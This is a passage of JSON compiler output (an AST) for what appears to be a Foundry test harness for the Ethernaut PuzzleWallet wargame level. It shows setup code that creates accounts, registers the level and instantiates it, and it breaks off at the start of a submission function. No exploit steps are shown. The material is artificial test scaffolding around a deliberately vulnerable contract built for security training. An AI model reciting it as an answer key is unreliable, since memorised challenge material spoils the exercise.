63417,"nodeType":"ImportDirective","src":"131:70:143","nodes":[],"absolutePath":"src/levels/PuzzleWallet.sol","file":"src/levels/PuzzleWallet.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":54598,"symbolAliases":[{"foreign":{"id":63415,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"139:12:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":63416,"name":"PuzzleProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54369,"src":"153:11:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63419,"nodeType":"ImportDirective","src":"202:71:143","nodes":[],"absolutePath":"src/levels/PuzzleWalletFactory.sol","file":"src/levels/PuzzleWalletFactory.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":54713,"symbolAliases":[{"foreign":{"id":63418,"name":"PuzzleWalletFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54712,"src":"210:19:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63421,"nodeType":"ImportDirective","src":"274:48:143","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":63420,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"282:5:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63423,"nodeType":"ImportDirective","src":"323:44:143","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":63689,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":63422,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"331:9:143","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63688,"nodeType":"ContractDefinition","src":"369:2163:143","nodes":[{"id":63430,"nodeType":"VariableDeclaration","src":"416:19:143","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"426:9:143","scope":63688,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":63429,"nodeType":"UserDefinedTypeName","pathNode":{"id":63428,"name":"Ethernaut","nameLocations":["416:9:143"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"416:9:143"},"referencedDeclaration":49101,"src":"416:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":63433,"nodeType":"VariableDeclaration","src":"441:21:143","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"454:8:143","scope":63688,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"},"typeName":{"id":63432,"nodeType":"UserDefinedTypeName","pathNode":{"id":63431,"name":"PuzzleWallet","nameLocations":["441:12:143"],"nodeType":"IdentifierPath","referencedDeclaration":54597,"src":"441:12:143"},"referencedDeclaration":54597,"src":"441:12:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"visibility":"internal"},{"id":63435,"nodeType":"VariableDeclaration","src":"469:21:143","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"485:5:143","scope":63688,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63434,"name":"address","nodeType":"ElementaryTypeName","src":"469:15:143","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63437,"nodeType":"VariableDeclaration","src":"496:22:143","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"512:6:143","scope":63688,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63436,"name":"address","nodeType":"ElementaryTypeName","src":"496:15:143","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63539,"nodeType":"FunctionDefinition","src":"705:614:143","nodes":[],"body":{"id":63538,"nodeType":"Block","src":"729:590:143","nodes":[],"statements":[{"assignments":[63442],"declarations":[{"constant":false,"id":63442,"mutability":"mutable","name":"users","nameLocation":"764:5:143","nodeType":"VariableDeclaration","scope":63538,"src":"739:30:143","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":63440,"name":"address","nodeType":"ElementaryTypeName","src":"739:15:143","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63441,"nodeType":"ArrayTypeName","src":"739:17:143","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":63446,"initialValue":{"arguments":[{"hexValue":"32","id":63444,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"784:1:143","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63443,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"772:11:143","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":63445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"772:14:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"739:47:143"},{"expression":{"id":63451,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63447,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63435,"src":"797:5:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63448,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63442,"src":"805:5:143","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63450,"indexExpression":{"hexValue":"30","id":63449,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"811:1:143","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"805:8:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"797:16:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63452,"nodeType":"ExpressionStatement","src":"797:16:143"},{"expression":{"arguments":[{"id":63456,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63435,"src":"832:5:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":63457,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"839:7:143","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":63453,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"823:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"826:5:143","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"823:8:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63458,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"823:24:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63459,"nodeType":"ExpressionStatement","src":"823:24:143"},{"expression":{"id":63464,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63460,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"858:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63461,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63442,"src":"867:5:143","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63463,"indexExpression":{"hexValue":"31","id":63462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"873:1:143","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"867:8:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"858:17:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63465,"nodeType":"ExpressionStatement","src":"858:17:143"},{"expression":{"arguments":[{"id":63469,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"894:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":63470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"902:8:143","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":63466,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"885:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63468,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"888:5:143","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"885:8:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"885:26:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63472,"nodeType":"ExpressionStatement","src":"885:26:143"},{"expression":{"arguments":[{"id":63476,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63435,"src":"936:5:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63473,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"922:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63475,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"925:10:143","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"922:13:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63477,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"922:20:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63478,"nodeType":"ExpressionStatement","src":"922:20:143"},{"expression":{"id":63483,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63479,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63430,"src":"952:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":63481,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63435,"src":"991:5:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63480,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"964:26:143","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":63482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"964:33:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"952:45:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63484,"nodeType":"ExpressionStatement","src":"952:45:143"},{"assignments":[63487],"declarations":[{"constant":false,"id":63487,"mutability":"mutable","name":"factory","nameLocation":"1027:7:143","nodeType":"VariableDeclaration","scope":63538,"src":"1007:27:143","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"},"typeName":{"id":63486,"nodeType":"UserDefinedTypeName","pathNode":{"id":63485,"name":"PuzzleWalletFactory","nameLocations":["1007:19:143"],"nodeType":"IdentifierPath","referencedDeclaration":54712,"src":"1007:19:143"},"referencedDeclaration":54712,"src":"1007:19:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}},"visibility":"internal"}],"id":63492,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":63490,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1037:23:143","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_PuzzleWalletFactory_$54712_$","typeString":"function () returns (contract PuzzleWalletFactory)"},"typeName":{"id":63489,"nodeType":"UserDefinedTypeName","pathNode":{"id":63488,"name":"PuzzleWalletFactory","nameLocations":["1041:19:143"],"nodeType":"IdentifierPath","referencedDeclaration":54712,"src":"1041:19:143"},"referencedDeclaration":54712,"src":"1041:19:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}}},"id":63491,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1037:25:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}},"nodeType":"VariableDeclarationStatement","src":"1007:55:143"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63499,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63487,"src":"1110:7:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}],"id":63498,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1102:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63497,"name":"address","nodeType":"ElementaryTypeName","src":"1102:7:143","typeDescriptions":{}}},"id":63500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1102:16:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63496,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1096:5:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1096:23:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":63493,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63430,"src":"1072:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63495,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1082:13:143","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1072:23:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":63502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1072:48:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63503,"nodeType":"ExpressionStatement","src":"1072:48:143"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63504,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1130:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63506,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1133:9:143","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1130:12:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63507,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1130:14:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63508,"nodeType":"ExpressionStatement","src":"1130:14:143"},{"expression":{"arguments":[{"id":63512,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"1169:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63509,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1155:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63511,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1158:10:143","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1155:13:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1155:21:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63514,"nodeType":"ExpressionStatement","src":"1155:21:143"},{"expression":{"id":63531,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63515,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"1186:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":63520,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63430,"src":"1238:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":63524,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63487,"src":"1263:7:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}],"id":63523,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1255:7:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63522,"name":"address","nodeType":"ElementaryTypeName","src":"1255:7:143","typeDescriptions":{}}},"id":63525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1255:16:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63521,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1249:5:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63526,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1249:23:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":63527,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1274:11:143","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":63519,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1218:19:143","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":63528,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1218:68:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63518,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1210:8:143","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":63517,"name":"address","nodeType":"ElementaryTypeName","src":"1210:8:143","stateMutability":"payable","typeDescriptions":{}}},"id":63529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:77:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63516,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"1197:12:143","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":63530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1197:91:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"src":"1186:102:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":63532,"nodeType":"ExpressionStatement","src":"1186:102:143"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63533,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1298:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63535,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1301:9:143","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1298:12:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1298:14:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63537,"nodeType":"ExpressionStatement","src":"1298:14:143"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"714:5:143","parameters":{"id":63438,"nodeType":"ParameterList","parameters":[],"src":"719:2:143"},"returnParameters":{"id":63439,"nodeType":"ParameterList","parameters":[],"src":"729:0:143"},"scope":63688,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":63560,"nodeType":"FunctionDefinition","src":"1571:137:143","nodes":[],"body":{"id":63559,"nodeType":"Block","src":"1598:110:143","nodes":[],"statements":[{"expression":{"arguments":[{"id":63546,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63437,"src":"1622:6:143","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63543,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1608:2:143","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1611:10:143","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1608:13:143","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1608:21:143","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63548,"nodeType":"ExpressionStatement","src":"1608:21:143"},{"expression":{"arguments":[{"arguments":[{"id":63551,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63430,"src":"1671:9:143","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":63554,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63433,"src":"1690:8:143","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract 